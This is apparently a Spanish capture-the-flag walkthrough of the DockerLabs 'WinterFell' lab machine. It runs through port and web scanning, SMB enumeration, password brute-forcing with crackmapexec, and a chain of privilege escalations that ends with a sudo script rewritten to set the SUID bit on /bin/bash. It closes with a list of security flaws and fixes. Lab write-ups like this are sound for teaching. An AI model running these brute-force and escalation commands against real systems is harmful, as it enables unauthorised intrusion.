WinterFell
Introducción
Sección titulada «Introducción»Este documento presenta la resolución completa de la máquina WinterFell, desarrollada por Zunderrub para la plataforma DockerLabs y clasificada como fácil.
El objetivo es exponer un análisis claro, ordenado y técnicamente sustentado que abarque:
- Identificación de vectores de ataque.
- Revisión de archivos sensibles y recursos expuestos.
- Obtención de acceso inicial mediante credenciales válidas.
- Escalada de privilegios encadenada a través de distintos usuarios hasta alcanzar root.
La metodología se divide en tres etapas principales:
- Reconocimiento: identificación de servicios expuestos y revisión del contenido accesible.
- Explotación: extracción de información útil, obtención de credenciales y acceso inicial.
- Escalada de privilegios: abuso de permisos
sudoy manipulación de scripts para obtener control total.
Todas las pruebas se realizaron en el entorno aislado ofrecido por DockerLabs.
Información General
Sección titulada «Información General»| Atributo | Valor |
|---|---|
| Nombre | WinterFell |
| Autor | Zunderrub |
| Dificultad | Fácil |
| Fecha | 16/07/2024 |
| Plataforma | DockerLabs |
Paso 0 — Preparación y despliegue
Sección titulada «Paso 0 — Preparación y despliegue»Descomprimir la máquina:
unzip "WinterFell.zip"Iniciar el contenedor:
sudo bash auto_deploy.sh "WinterFell.tar"El script devuelve la IP interna, utilizada durante toda la auditoría:

Paso 1 — Reconocimiento
Sección titulada «Paso 1 — Reconocimiento»1.1 Organización del entorno de trabajo
Sección titulada «1.1 Organización del entorno de trabajo»Se crea un directorio estructurado para registrar hallazgos y evidencias:
mkdir -p WinterFell/{content,exploits,nmap,gobuster,scripts}cd WinterFell1.2 Escaneo de puertos
Sección titulada «1.2 Escaneo de puertos»Se ejecuta un escaneo TCP completo:
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.18.0.2 -oG allPortsextractPorts allPortsPuertos detectados:
- 22/tcp — SSH
- 80/tcp — HTTP
- 139/tcp — SMB
- 445/tcp — SMB

1.3 Enumeración Web (HTTP — puerto 80)
Sección titulada «1.3 Enumeración Web (HTTP — puerto 80)»Enumeración con gobuster:
gobuster dir \ -u http://172.18.0.2/ \ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \ -x php,html,txt,js \ -t 200
Recursos identificados:
-
index

-
/dragon — contiene un archivo con una lista de palabras:

El contenido parece un diccionario artesanal, presumiblemente útil para ataques de fuerza bruta.
1.4 Enumeración SMB
Sección titulada «1.4 Enumeración SMB»Con enum4linux se identifican usuarios y recursos compartidos:
Usuarios:

Carpetas compartidas:

Se detecta el usuario válido jon y el recurso compartido shares.
Paso 2 — Explotación (Acceso Inicial)
Sección titulada «Paso 2 — Explotación (Acceso Inicial)»Con un usuario válido y un diccionario obtenido desde /dragon, se realiza fuerza bruta con crackmapexec:
crackmapexec smb 172.17.0.2 -u jon -p passwords.txtResultado:

Con las credenciales válidas se accede al recurso compartido:
smbclient //172.17.0.2/shares -U jon%PASSWORDContenido:

El archivo proteccion_del_reino contiene una contraseña codificada en base64:

Tras decodificarla, se utiliza para acceder por SSH:

Paso 3 — Escalada de privilegios
Sección titulada «Paso 3 — Escalada de privilegios»3.1 De jon → aria
Sección titulada «3.1 De jon → aria»Al listar permisos sudo:

El usuario puede ejecutar .mensaje.py como aria. Aunque el archivo no puede modificarse directamente, sí puede borrarse y recrearse.
Nuevo contenido:
import osos.system('/bin/bash')Ejecución:
sudo -u aria /usr/bin/python3 /home/jon/.mensaje.pySe obtiene acceso como aria.
3.2 De aria → daenerys
Sección titulada «3.2 De aria → daenerys»Permisos sudo:

Se puede ejecutar cat y ls como daenerys, lo que permite leer archivos en su home:

Al final del archivo aparece una contraseña válida. Con ella:
su daenerys3.3 De daenerys → root
Sección titulada «3.3 De daenerys → root»Permisos sudo:

Se puede ejecutar .shell.sh como root, y además el archivo es modificable. Contenido nuevo:
#!/bin/bashchmod u+s /bin/bashEjecutarlo:
sudo /usr/bin/bash /home/daenerys/.secret/.shell.shFinalmente:
bash -p
Fallos de Seguridad Identificados
Sección titulada «Fallos de Seguridad Identificados»- Contraseñas débiles y expuestas en recursos web.
- Servicio SMB sin restricciones, con acceso a archivos sensibles.
- Permisos sudo excesivamente permisivos entre usuarios.
- Scripts ejecutables como otro usuario sin protección contra modificación.
- Uso de codificación reversible (base64) para almacenar contraseñas.
Recomendaciones
Sección titulada «Recomendaciones»- Implementar políticas estrictas de contraseñas y rotación.
- Restringir accesos SMB y evitar exponer archivos sensibles.
- Revisar configuraciones sudo para evitar movimientos laterales.
- Proteger scripts críticos mediante permisos mínimos.
- Evitar almacenar credenciales en texto plano o codificaciones triviales.
- Realizar pruebas de seguridad periódicas para identificar configuraciones inseguras.